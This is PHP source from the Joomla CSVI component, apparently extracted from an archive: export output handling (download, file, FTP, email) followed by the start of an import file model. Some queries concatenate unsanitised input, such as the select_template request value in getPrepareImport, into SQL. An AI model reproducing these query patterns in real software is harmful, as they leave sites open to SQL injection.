$csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DATE_FORMAT', $template->get('export_date_format', 'general'))); // Price format $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DECIMALS', $template->get('export_price_format_decimal', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_DEC_SEP', $template->get('export_price_format_decsep', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_THOUSAND_SEP', $template->get('export_price_format_thousep', 'general'))); // Record grouping $add_currency = ($template->get('add_currency_to_price', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_ADD_CURRENCY_TO_PRICE', $add_currency)); // Exporting fields $export_fields = $jinput->get('export.fields', null, null); $addheader = true; foreach ($export_fields as $column_id => $field) { if ($addheader) $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FIELD', $field->column_header)); if ($field->combine) $addheader = false; else $addheader = true; } } /** * Output the collected data * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function _outputStart() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); $result = false; if ($template->get('use_system_limits', 'limit')) { $csvilog->addDebug('Setting system limits:'); // Apply the new memory limits $csvilog->addDebug('Setting max_execution_time to '.$template->get('max_execution_time', 'limit').' seconds'); @ini_set('max_execution_time', $template->get('max_execution_time', 'limit')); $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit').'M'); if ($template->get('memory_limit', 'limit') == '-1') { $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit')); @ini_set('memory_limit', $template->get('memory_limit', 'limit')); } else { $csvilog->addDebug('Setting memory_limit to '.$template->get('memory_limit', 'limit').'M'); @ini_set('memory_limit', $template->get('memory_limit', 'limit').'M'); } } switch ($template->get('exportto', 'general', 'todownload')) { case 'todownload': if (preg_match('/Opera(\/| )([0-9].[0-9]{1,2})/', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "Opera"; } elseif (preg_match('/MSIE ([0-9].[0-9]{1,2})/', $_SERVER['HTTP_USER_AGENT'])) { $UserBrowser = "IE"; } else { $UserBrowser = ''; } $mime_type = ($UserBrowser == 'IE' || $UserBrowser == 'Opera') ? 'application/octetstream' : 'application/octet-stream'; // Clean the buffer while( @ob_end_clean() ); header('Content-Type: ' . $mime_type); header('Content-Encoding: UTF-8'); header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT'); if ($UserBrowser == 'IE') { header('Content-Disposition: inline; filename="'.$exportfilename.'"'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); } else { header('Content-Disposition: attachment; filename="'.$exportfilename.'"'); header('Pragma: no-cache'); } $result = true; break; case 'tofile': jimport('joomla.filesystem.folder'); // Check if the folder exists if (!JFolder::exists(dirname($exportfilename))) { if (!JFolder::create(dirname($exportfilename))) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_CREATE_FOLDER', dirname($exportfilename))); $result = false; } } // open the file for writing $handle = @fopen($exportfilename, 'w+'); if (!$handle) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_OPEN_FILE', $exportfilename)); $result = false; } // Let's make sure the file exists and is writable first. if (is_writable($exportfilename)) { $jinput->set('handle', $handle); $result = true; } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); $result = false; } break; case 'toftp': case 'toemail': // open the file for writing $handle = fopen($exportfilename, 'w+'); if (!$handle) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_OPEN_FILE', $exportfilename)); $result = false; } // Let's make sure the file exists and is writable first. if (is_writable($exportfilename)) { $jinput->set('handle', $handle); $result = true; } else { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); $result = false; } break; case 'tofront': $result = true; break; } return $result; } /** * Write the output to download or to file * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $contents the content to output * @return bool true if data is output | false if data is not output * @since 3.0 */ protected function writeOutput() { // Let's take the local contents if nothing is supplied $contents = $this->_contents; // Clean the local contents $this->_contents = array(); if (!empty($contents)) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); if (!is_array($contents)) $contents = (array) $contents; switch ($template->get('exportto', 'general')) { case 'todownload': case 'tofront': if (isset($contents['signature'])) { echo $contents['signature']; unset($contents['signature']); } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { echo implode("", $contents)."\r\n"; } else { echo implode($this->_field_delim, $contents)."\r\n"; } break; case 'tofile': case 'toftp': case 'toemail': if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $writedata = ''; if (isset($contents['signature'])) { $writedata = $contents['signature']; unset($contents['signature']); } $writedata .= implode('', $contents); if (fwrite($jinput->get('handle', null, null), $writedata."\r\n") === FALSE) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); return false; } } else { if (fwrite($jinput->get('handle', null, null), implode($this->_field_delim, $contents)."\r\n") === FALSE) { $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_CANNOT_WRITE_FILE', $exportfilename)); return false; } } break; } } return true; } /** * Finalize export output * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return void * @since 3.0 */ private function _outputEnd() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportfilename = $jinput->get('export.filename', null, 'string'); jimport('joomla.filesystem.file'); switch ($template->get('exportto', 'general')) { case 'todownload': break; case 'tofile': $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); fclose($jinput->get('handle', null, null)); break; case 'toftp': // Close the file handle fclose($jinput->get('handle', null, null)); // Start the FTP jimport('joomla.client.ftp'); $ftp = JFTP::getInstance($template->get('ftphost', 'general', '', 'string'), $template->get('ftpport', 'general'), null, $template->get('ftpusername', 'general', '', 'string'), $template->get('ftppass', 'general', '', 'string')); $ftp->chdir($template->get('ftproot', 'general', '/', 'string')); $ftp->store($exportfilename); $ftp->quit(); // Remove the temporary file JFile::delete($exportfilename); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); break; case 'toemail': fclose($jinput->get('handle', null, null)); $this->_getMailer(); // Add the email address $addresses = explode(',', $template->get('export_email_addresses', 'email')); foreach ($addresses as $address) { if (!empty($address)) $this->mailer->AddAddress($address); } $addresses_cc = explode(',', $template->get('export_email_addresses_cc', 'email')); if (!empty($addresses_cc)) { foreach ($addresses_cc as $address) { if (!empty($address)) $this->mailer->AddCC($address); } } $addresses_bcc = explode(',', $template->get('export_email_addresses_bcc', 'email')); if (!empty($addresses_bcc)) { foreach ($addresses_bcc as $address) { if (!empty($address)) $this->mailer->AddBCC($address); } } // Mail submitter $htmlmsg = ''.$this->_getRelToAbs($template->get('export_email_body', 'email')).''; $this->mailer->setBody($htmlmsg); $this->mailer->setSubject($template->get('export_email_subject', 'email')); // Add the attachemnt $this->mailer->AddAttachment($exportfilename); // Send the mail $sendmail = $this->mailer->Send(); if (is_a($sendmail, 'JException')) $csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_NO_MAIL_SEND', $sendmail->getMessage())); else $csvilog->AddStats('information', JText::_('COM_CSVI_MAIL_SEND')); // Clear the mail details $this->mailer->ClearAddresses(); // Remove the temporary file JFile::delete($exportfilename); $csvilog->AddStats('information', JText::sprintf('COM_CSVI_EXPORTFILE_CREATED', $exportfilename)); break; } } /** * Search through the export fields if a certain field is being exported * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $fieldname the fieldname to check if it is being exported * @return bool true if field is being exported | false if field is not being exported * @since 3.0 */ protected function searchExportFields($fieldname) { $jinput = JFactory::getApplication()->input; $exportfields = $jinput->get('export.fields', array(), 'array'); foreach ($exportfields as $column_id => $field) { if ($field->field_name == $fieldname) return true; } return false; } /** * Constructs a limit for a query * * @copyright * @author RolandD * @todo * @see * @access protected * @param * @return string the limit to apply to the query * @since 3.0 */ protected function getExportLimit() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $recordstart = $template->get('recordstart', 'general', 0, 'int'); $recordend = $template->get('recordend', 'general', 0, 'int'); $limits = array(); $limits['offset'] = 0; $limits['limit'] = 0; // Check if the user only wants to export some products if ($recordstart && $recordend) { // Check if both values are greater than 0 if (($recordstart > 0) && ($recordend > 0)) { // We have valid limiters, add the limit to the query // Recordend needs to have 1 deducted because MySQL starts from 0 $limits['offset'] = $recordend-1; $limits['limit'] = $recordstart; } } return $limits; } /** * Create an SQL filter * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $filter what kind of SQL type should be created * @param array $ignore an array of fields not to process * @param array $special an array of special fields not to nameQuote * @return string the SQL part to add to the query * @since 3.0 */ protected function getFilterBy($filter, $ignore=array(), $special=array()) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $export_fields = $jinput->get('export.fields', array(), 'array'); $fields = array(); // Add some basic fields never to be handled $ignore[] = 'custom'; // Collect the fields to process foreach ($export_fields as $column_id => $field) { switch ($filter) { case 'groupby': $process = true; break; case 'sort': $process = $field->sort; break; default: $process = false; } if ($process) { // Check if field needs to be skipped if (!in_array($field->field_name, $ignore)) { // Check if field is special if (!array_key_exists($field->field_name, $special)) { $fields[] = $db->quoteName($field->field_name); } else { $fields[] = $special[$field->field_name]; } } } } // Construct the SQL part if (!empty($fields)) { switch ($filter) { case 'groupby': $groupby_fields = array_unique($fields); $q = implode(',', $groupby_fields); break; case 'sort': $sort_fields = array_unique($fields); $q = implode(', ', $sort_fields); break; default: $q = ''; break; } } else $q = ''; return $q; } /** * Add a field to the output * * @copyright * @author RolandD * @todo * @see * @access protected * @param $combine boolean true if the fields need to be combined * @param $data string Data to output * @param $fieldname string Name of the field currently being processed * @param $column_header string Name of the column * @param $cdata boolean true to add cdata tag for XML|false not to add it * @return string containing the field for the export file * @since 3.0 */ protected function addExportField($combine=false, $data, $fieldname, $column_header, $cdata=false) { // Data is not going to be combined if (!$combine) { if (!empty($this->_outputfield)) { $this->_outputfield[] = $data; $data = implode(' ', $this->_outputfield); $this->_outputfield = array(); } $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Load the session $exportclass = $jinput->get('export.class', null, null); // Set the delimiters $this->_setDelimiters(); // Clean up the data by removing linebreaks $find = array("\r\n", "\r", "\n"); $replace = array('','',''); $data = str_ireplace($find, $replace, $data); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { if (!is_null($this->_headername)) { $column_header = $this->_headername; $this->_headername = null; } $this->_contents[] = $exportclass->ContentText($data, $column_header, $fieldname, $cdata); } else { $data = str_replace($this->_text_delim, $this->_text_delim.$this->_text_delim, $data); $this->_contents[] = $this->_text_delim.$data.$this->_text_delim; } } // Combine with previous field else { if (is_null($this->_headername)) $this->_headername = $column_header; $this->_outputfield[] = $data; } } /** * Add data to the export content * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $content the content to export * @return * @since 3.0 */ protected function addExportContent($content) { $this->_contents[] = $content; } /** * Convert links in a text from relative to absolute * * @copyright * @author * @todo * @see * @access private * @param string $text the text to parse for links * @return string the parsed text * @since 3.0 */ private function _getRelToAbs($text) { $base = JURI::root(); $text = preg_replace("/(href|src)=\"(?!http|ftp|https|mailto)([^\"]*)\"/", '$1="$base\$2"', $text); return $text; } /** * Initialise the mailer object to start sending mails * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getMailer() { $mainframe = Jfactory::getApplication(); jimport('joomla.mail.helper'); // Start the mailer object $this->mailer = JFactory::getMailer(); $this->mailer->isHTML(true); $this->mailer->From = $mainframe->getCfg('mailfrom'); $this->mailer->FromName = $mainframe->getCfg('sitename'); $this->mailer->AddReplyTo(array($mainframe->getCfg('mailfrom'), $mainframe->getCfg('sitename'))); } /** * Create a proxy for including other models * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _getModel($model) { return $this->getInstance($model, 'CsviModel'); } /** * Get the JoomFish translated value for a category name * * @copyright * @author RolandD * @todo * @see * @access private * @param int $category_id the category ID to find the translation for * @param string $default the default value to return if nothing found or JoomFish not used * @return string the JoomFish translated value * @since 3.0 */ protected function _getJoomFishCategory($category_id, $default='') { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); if ($template->get('use_joomfish', 'product', false)) { $q = "SELECT value FROM #__jf_content WHERE reference_table = 'vm_category' AND reference_field = 'category_name' AND language_id = ".$template->get('joomfish_language', 'product')." AND reference_id = ".$category_id; $db->setQuery($q); $csvilog->addDebug(JText::_('COM_CSVI_GET_CATEGORY_JF'), true); $category_name_jf = $db->loadResult(); if (empty($category_name_jf)) return $default; else return $category_name_jf; } else return $default; } } ?>PK@y>\Avb||)components/com_csvi/models/importfile.phpnuW+A field default value */ private $_field_defaults = array(); /** @var array - Associative array of field_name (lower case) => field published? value */ private $_field_published = array(); /** @var integer the database ID for the vendor */ private $_vendor_id = null; /** @var bool sets if the default value should be used or not */ private $_skip_default_value = null; /** @var array contains a list of vendor currencies */ private $_vendor_currencies = array(); /** @var object contains the ICEcat helper */ private $_icecat = null; // Protected variables /** @var object contains the data to import */ protected $csvi_data = null; /** @var object contains the fields to import */ protected $_csvifields = null; /** @var array contains the available fields */ protected $_avfields = null; /** @var array contains the ICEcat data */ protected $icecat_data = null; /** @var array contains the fields to combine */ protected $combine_fields = array(); /** @var array contains the combine settings */ protected $combine_settings = array(); /** @var string contains the name of the last import field */ protected $_lastfield = null; /** * Compile a list of helper files needed to include * * @copyright * @author RolandD * @todo Make the image class loader smarter * @see * @access public * @param * @return array list of helper files to include * @since 3.0 */ public function getHelperFiles() { $jinput = JFactory::getApplication()->input; $data = $jinput->get('jform', array(), null); $helpers = array(); $upload_parts = array(); // Get the file extension of the import file switch (strtolower($data['general']['source'])) { case 'fromupload': $upload['name'] = $_FILES['jform']['name']['general']['import_file']; $upload['type'] = $_FILES['jform']['type']['general']['import_file']; $upload['tmp_name'] = $_FILES['jform']['tmp_name']['general']['import_file']; $upload['error'] = $_FILES['jform']['error']['general']['import_file']; if (isset($upload['name'])) $upload_parts = pathinfo($upload['name']); break; case 'fromserver': $upload_parts = pathinfo($data['general']['local_csv_file']); break; case 'fromurl': $upload_parts = pathinfo($data['general']['urlfile']); break; case 'fromftp': $upload_parts = pathinfo($data['general']['ftpfile']); break; } // Set the file helper if (!array_key_exists('extension', $upload_parts)) return false; else { switch ($upload_parts['extension']) { case 'xml': $helpers[] = $upload_parts['extension']; $fileclass = 'Xml'; break; case 'xls': $helpers[] = $upload_parts['extension']; $helpers[] = 'excel_reader2'; $fileclass = 'Xls'; break; case 'ods': $helpers[] = $upload_parts['extension']; $helpers[] = 'ods_reader'; $fileclass = 'Ods'; break; default: // Treat any unknown type as CSV $helpers[] = 'csv'; $fileclass = 'Csv'; break; } // Set the file class name $jinput->set('fileclass', $fileclass.'File'); // Do we need to load the image helper switch ($data['options']['operation']) { case 'productimport': case 'categoryimport': case 'mediaimport': $helpers[] = 'images'; break; } // Add the helpers to the session $session = JFactory::getSession(); $option = $jinput->get('option'); $session->set($option.'.helper_files', serialize($helpers)); return $helpers; } } /** * Make preparations for the import * * @copyright * @author RolandD * @todo Fix storing of log when file cannot be retrieved from FTP * @todo Fix the template name * @see * @access public * @param * @return bool true on file OK | false on file NOK * @since 3.0 */ public function getPrepareImport() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); // Get the form data $session = JFactory::getSession(); $option = $jinput->get('option'); $data = $jinput->get('jform', array(), null); // Set the template name $query = $db->getQuery(true); $query->select('name'); $query->from('#__csvi_template_settings'); $query->where('id = '.$jinput->get('select_template', '', null)); $db->setQuery($query); $data['template_name'] = $db->loadResult(); $template = new CsviTemplate($data); $jinput->set('template', $template); $session->set($option.'.global.template', serialize($template)); // Initiate the log $csvilog = new CsviLog(); $jinput->set('csvilog', $csvilog); // Create a new Import ID in the logger $csvilog->setId(); // Set to collect debug info $csvilog->setDebug($template->get('collect_debug_info', 'general')); // Retrieve the available fields $availablefields = $this->getModel('Availablefields'); $this->_avfields = $availablefields->getAvailableFields($template->get('operation', 'options'), $template->get('component', 'options')); $session->set($option.'.avfields', serialize($this->_avfields)); // Needed for file class $jinput->set('avfields', $this->_avfields); // Set some log info $csvilog->SetAction('import'); $csvilog->SetActionType($template->get('operation', 'options'), $template->get('template_name')); // Process the file to import if ($template->get('im_mac', 'general', false)) { // Auto detect line-endings to also support Mac line-endings ini_set('auto_detect_line_endings', true); } // Process the file to import $fileclass = $jinput->get('fileclass', null, null); $csvifile = new $fileclass; if ($csvifile->validateFile()) { $csvifile->processFile(); if (!$csvifile->fp) { return false; } else { // Load column headers if ($template->get('use_column_headers', 'general')) { $csvifile->loadColumnHeaders(); $session->set($option.'.csvicolumnheaders', serialize($jinput->get('columnheaders', array(), 'array'))); } else if ($template->get('skip_first_line', 'general')) { // Move 1 row forward as we are skipping the first line $csvifile->next(); } // Load the fields if ($this->_retrieveConfigFields($csvifile)) $session->set($option.'.csvifields', serialize($jinput->get('csvifields', null, 'array'))); else { JError::raiseNotice(0, JText::_('COM_CSVI_CANNOT_LOAD_FIELDS')); return false; } // Write out some import settings $this->_importDetails(); // Store the file position $session->set($option.'.filepos', serialize($csvifile->getFilePos())); // Empty the data first so we don't break the session $csvifile->clearData(); // Store the CSVI file handler $session->set($option.'.csvifile', serialize($csvifile)); // Store the CSVI log handler $session->set($option.'.csvilog', serialize($csvilog)); // Store the preview handler $session->set($option.'.csvipreview', serialize($template->get('show_preview', 'general'))); // Set the combine separator $this->combine_settings['separator'] = ' '; $this->combine_settings['fieldname'] = null; // Unpublish any products if needed if ($template->get('unpublish_before_import', 'product', 0)) $this->_unpublishProducts(); return true; } } else { return false; } } /** * Make preparations to do an import * * @copyright * @author RolandD * @todo Fix the setting of the file position on subsequent imports * @see finishProcess * @access public * @param * @return * @since 3.0 */ public function getDoImport() { $jinput = JFactory::getApplication()->input; // Set the system limits $this->_systemLimits(); // Open the file $csvifile = $jinput->get('csvifile', null, null); if ($csvifile->processFile()) { // Set the file pointer $session = JFactory::getSession(); $option = $jinput->get('option'); $csvifile->setFilePos(unserialize($session->get($option.'.filepos', 0))); // Set the line counter $jinput->set('currentline', 1); // Set the fields found in the file $this->_csvifields = $jinput->get('csvifields', null, 'array'); return true; } else return false; } /** * Start the import * * @copyright * @author RolandD * @todo Separate view for preview * @todo Rewrite memory usage for debug * @see * @access public * @param * @return * @since 3.0 */ public function getProcessData() { $jinput = JFactory::getApplication()->input; // Set some variables $data_preview = array(); $processdata = true; $redirect = false; // Load the log $csvilog = $jinput->get('csvilog', null, null); // Load the settings $settings = new CsviSettings(); // Load the template $template = $jinput->get('template', null, null); // Load the file $csvifile = $jinput->get('csvifile', null, null); // Set the table path $this->addTablePath(JPATH_COMPONENT_ADMINISTRATOR.'/tables/'.$template->get('component', 'options')); // Load the import routine $routine = $this->getModel($template->get('operation', 'options')); if ($routine) { // Start processing data while ($processdata) { // Pass the total log line to the logger $csvilog->setLinenumber(($jinput->get('currentline', 0, 'int')+$jinput->get('totalline', 0, 'int'))); // If the number of lines is set to 0, do unlimited import if (($settings->get('import.import_nolines', 0) == 0) || $jinput->get('cron', false, 'bool')) { $nolines = $jinput->get('currentline', 0, 'int')+1; } else $nolines = $settings->get('import.import_nolines'); if ($jinput->get('currentline', 0, 'int') <= $nolines) { // For XML files, it may be necessary to refresh the headers before reading the next record if ($csvifile->extension == 'xml' && $template->get('refresh_xml_headers', 'general')) { $csvifile->loadColumnHeaders(); if ($this->_retrieveConfigFields($csvifile) == false) { // Error found - Finish processing $redirect = $this->finishProcess(false); $processdata = false; continue; } } // Load the data $this->csvi_data = $csvifile->ReadNextLine(); if ($this->csvi_data == false) { if ($jinput->get('csvipreview', false, 'bool')) { // Set the headers $headers = array(); foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname) || empty($routine->$fieldname)) $headers[] = $fieldname; } } $jinput->set('headers_preview', $headers); // Set the data $jinput->set('data_preview', $data_preview); // Clean the session $this->getCleanPreview(); $processdata = false; continue; } else { // Finish processing $this->finishProcess(true); $processdata = false; } } else { // Check if we need to add any extra fields if (count($this->_csvifields) > count($this->csvi_data)) { foreach ($this->_csvifields as $fieldname => $details) { if (!array_key_exists($details['order'], $this->csvi_data)) { if (!empty($details['default_value'])) { $this->csvi_data[$details['order']] = $details['default_value']; } } } // Check if the fields are now equal if (count($this->_csvifields) > count($this->csvi_data)) { $message = JText::sprintf('COM_CSVI_INCORRECT_COLUMN_COUNT', count($this->_csvifields), count($this->csvi_data)); $message .= '
      '.JText::_('COM_CSVI_FIELDS').'
      '; $message .= ''; $message .= ''; foreach($this->_csvifields as $fieldname => $field_details) { $message .= ''; } $message .= '
      PositionConfigurationImport file
      '.$field_details['order'].''.$fieldname.''; if (isset($this->csvi_data[$field_details['order']])) $message .= $this->csvi_data[$field_details['order']]; $message .= '
      '; $csvilog->AddStats('incorrect', $message, true); // Finish processing $this->finishProcess(true); $processdata = false; } } // Load ICEcat data if user wants to $this->getIcecat(); // Validate the fields $csvi_data = new JObject(); foreach ($this->_csvifields as $name => $details) { if ($details['published']) { $datafield = $this->validateInput($details['name'], $details['replace']); if ($datafield !== false) { // Check if we are dealing with the last field if ($details == $this->_lastfield) $details['combine'] = false; // See if we are combining the field if ($details['combine']) $this->setCombineField($datafield, $name); else { // Check if there are any fields to be combined if (!empty($this->combine_fields)) { // Get the fieldname the combine is for $name = $this->combine_settings['fieldname']; // Add the current data $this->setCombineField($datafield); // Get the combined data $datafield = $this->getCombineField(); } } // Set the new value $csvi_data->$name = $datafield; } } } $jinput->set('csvi_data', $csvi_data); if ($this->_checkLimits()) { // Notify the debug log what line we are one $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PROCESS_LINE', ($jinput->get('currentline', 0, 'int')+$jinput->get('totalline', 0, 'int')))); // Start processing record if ($routine->getStart()) { if ($jinput->get('csvipreview', false, 'bool')) { $this->loadSettings(); // Update preview data foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname)) $preview_data[$value['order']] = $routine->$fieldname; else if (empty($routine->$fieldname)) $preview_data[$value['order']] = ''; } } $data_preview[$jinput->get('currentline', 0, 'int')] = $preview_data; if ($jinput->get('currentline', 0, 'int') == $settings->get('import.import_preview', 5)) { // Set the headers $headers = array(); foreach ($this->_csvifields as $fieldname => $value) { if ($value['published']) { if (isset($routine->$fieldname) || empty($routine->$fieldname)) $headers[] = $fieldname; } } $jinput->set('headers_preview', $headers); // Set the data $jinput->set('data_preview', $data_preview); // Clean the session $this->getCleanPreview(); $processdata = false; continue; } } else { // Now we import the rest of the records $routine->getProcessRecord(); } // Increase the number of records processed $jinput->set('recordsprocessed', $jinput->get('recordsprocessed', 0, 'int')+1); } else { // The routine reports a problem, usually unmet conditions // Finish processing $this->finishProcess(true); // Stop from processing any further, no time left $processdata = false; } // Increase linenumber $jinput->set('currentline', $jinput->get('currentline', 0, 'int')+1); } else { // Finish processing $this->finishProcess(false); // Stop from processing any further, no time left $processdata = false; } } } // Prepare for page reload else { // Finish processing $this->finishProcess(false); // Stop from processing any further, no time left $processdata = false; } } // Post Processing if (method_exists($routine, 'getPostProcessing')) { $routine->getPostProcessing(array_keys($this->_csvifields)); } } else { $csvilog->AddStats('incorrect', 'COM_CSVI_NO_VALID_CLASS_FOUND'); // Finish processing $this->finishProcess(true); } } /** * Clean the session * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getCleanSession() { $jinput = JFactory::getApplication()->input; // Store the log results first $log = $this->getModel('log'); $log->getStoreLogResults(); // Get session handler $session = JFactory::getSession(); $option = $jinput->get('option'); // Unset all session values $session->clear($option.'.csvicolumnheaders'); $session->clear($option.'.csvifields'); $session->clear($option.'.avfields'); $session->clear($option.'.csvifile'); $session->clear($option.'.filepos'); $session->clear($option.'.recordsprocessed'); $session->clear($option.'.template_id'); $session->clear($option.'.totalline'); $session->clear($option.'.csvilog'); $session->clear($option.'.global.template'); $session->clear($option.'.csvisettings'); $session->clear($option.'.helper_files'); } /** * Clean the session after preview * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ private function getCleanPreview() { $jinput = JFactory::getApplication()->input; // Get session handler $session = JFactory::getSession(); $option = $jinput->get('option'); // Load the correct position if ($jinput->get('csvipreview', false, 'bool')) { $template = $jinput->get('template', null, null); $csvifile = $jinput->get('csvifile', null, null); // Move back to the beginning $csvifile->rewind(); // Move 1 row forward as this is the column header if ($template->get('use_column_headers', 'general') || $template->get('skip_first_line', 'general')) { $csvifile->next(true); } // Get the current position $filepos = $csvifile->getFilePos(); } else $filepos = 0; // Unset all session values $session->set($option.'.filepos', serialize($filepos)); $session->set($option.'.recordsprocessed', serialize(0)); $session->set($option.'.csvipreview', serialize(false)); } /** * Sets the system limits to user defined values * * Sets the system limits to user defined values to allow for longer and * bigger uploaded files * * @copyright * @author RolandD * @todo Allow 0 or -1 value * @see * @access private * @param * @return * @since 3.0 */ private function _systemLimits() { $jinput = JFactory::getApplication()->input; // Set the start time of the script $this->_starttime = time(); // Get the logger $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // See if we need to use the new limits if ($template->get('use_system_limits', 'limit')) { $csvilog->addDebug('Setting system limits:'); // Apply the new memory limits $execution_time = $template->get('max_execution_time'); if (strlen($exection_time) > 0) { $csvilog->addDebug('Setting max_execution_time to '.$execution_time.' seconds'); @ini_set('max_execution_time', $execution_time); } $memory_limit = $template->get('memory_limit', 'limit'); if ($memory_limit == '-1') { $csvilog->addDebug('Setting memory_limit to '.$memory_limit); @ini_set('memory_limit', $memory_limit); } else if (strlen($memory_limit) > 0) { $csvilog->addDebug('Setting memory_limit to '.$memory_limit.'M'); @ini_set('memory_limit', $memory_limit.'M'); } $post_size = $template->get('post_max_size', 'limit'); if (strlen($post_size) > 0) { $csvilog->addDebug('Setting post_max_size to '.$post_size.'M'); @ini_set('post_max_size', $post_size.'M'); } $file_size = $template->get('upload_max_filesize', 'limit'); if (strlen($file_size) > 0) { $csvilog->addDebug('Setting upload_max_filesize to '.$file_size.'M'); @ini_set('upload_max_filesize', $file_size.'M'); } } } /** * Function to check if execution time is going to be passed. * * Memory can only be checked if the function memory_get_usage is available. * If the function is not available always return true. This could lead to * out of memory failure. * * @copyright * @author RolandD * @todo * @see http://www.php.net/memory_get_usage * @access private * @param * @return bool true when limits are not reached|false when limit is reached * @since 3.0 */ private function _checkLimits() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Check for maximum execution time $timepassed = time() - $this->_starttime; if (($timepassed + 5) > ini_get('max_execution_time') && ini_get('max_execution_time') > 0) { $csvilog->AddStats('information', JText::sprintf('COM_CSVI_MAXIMUM_EXECUTION_LIMIT_EXCEEDED', $timepassed)); return false; } // Check for maximum memory usage if (!function_exists('memory_get_usage')) return true; else { // Get the size of the statistics $statslength = 0; if (isset($csvilog->stats)) { foreach ($csvilog->stats as $type => $value) { if (isset($value['message'])) $statslength += strlen($value['message']); } } $statslength = round($statslength/(1024*1024)); // Get the size of the debug message $debuglength = round(strlen($csvilog->debug_message)/(1024*1024)); // Get the size of the active memory in use $activelength = round(memory_get_usage()/(1024*1024)); // Combine memory limits $totalmem = $activelength + $statslength + $debuglength; // Set the memory limit $jinput->set('maxmem', $totalmem); // Check if we are passing the memory limit if (($totalmem * 1.5) > (int)ini_get('memory_limit')) { $csvilog->AddStats('information', JText::_('COM_CSVI_MAXIMUM_MEMORY_LIMIT_EXCEEDED', $totalmem)); return false; } // All is good return true return true; } } /** * Print out import details * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _importDetails() { $jinput = JFactory::getApplication()->input; // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Get the template settings to see if we need a preview $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_CSVI_VERSION_TEXT').JText::_('COM_CSVI_CSVI_VERSION')); if (function_exists('phpversion')) $csvilog->addDebug(JText::sprintf('COM_CSVI_PHP_VERSION', phpversion())); // General settings $csvilog->addDebug(JText::_('COM_CSVI_GENERAL_SETTINGS')); // Show which template is used $csvilog->addDebug(JText::sprintf('COM_CSVI_TEMPLATE_NAME', $template->get('template_name'))); // Auto detect delimiters $auto_detect = ($template->get('auto_detect_delimiters', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_AUTO_DETECT_DELIMITERS', $auto_detect)); if ($auto_detect == JText::_('COM_CSVI_NO')) { // Check delimiter char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_DELIMITER', $template->get('field_delimiter', 'general'))); // Check enclosure char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_ENCLOSURE', $template->get('text_enclosure', 'general'))); } // Show import settings // Show template type $csvilog->addDebug(JText::sprintf('COM_CSVI_CHOSEN_IMPORT_TYPE', JText::_('COM_CSVI_'.$template->get('operation', 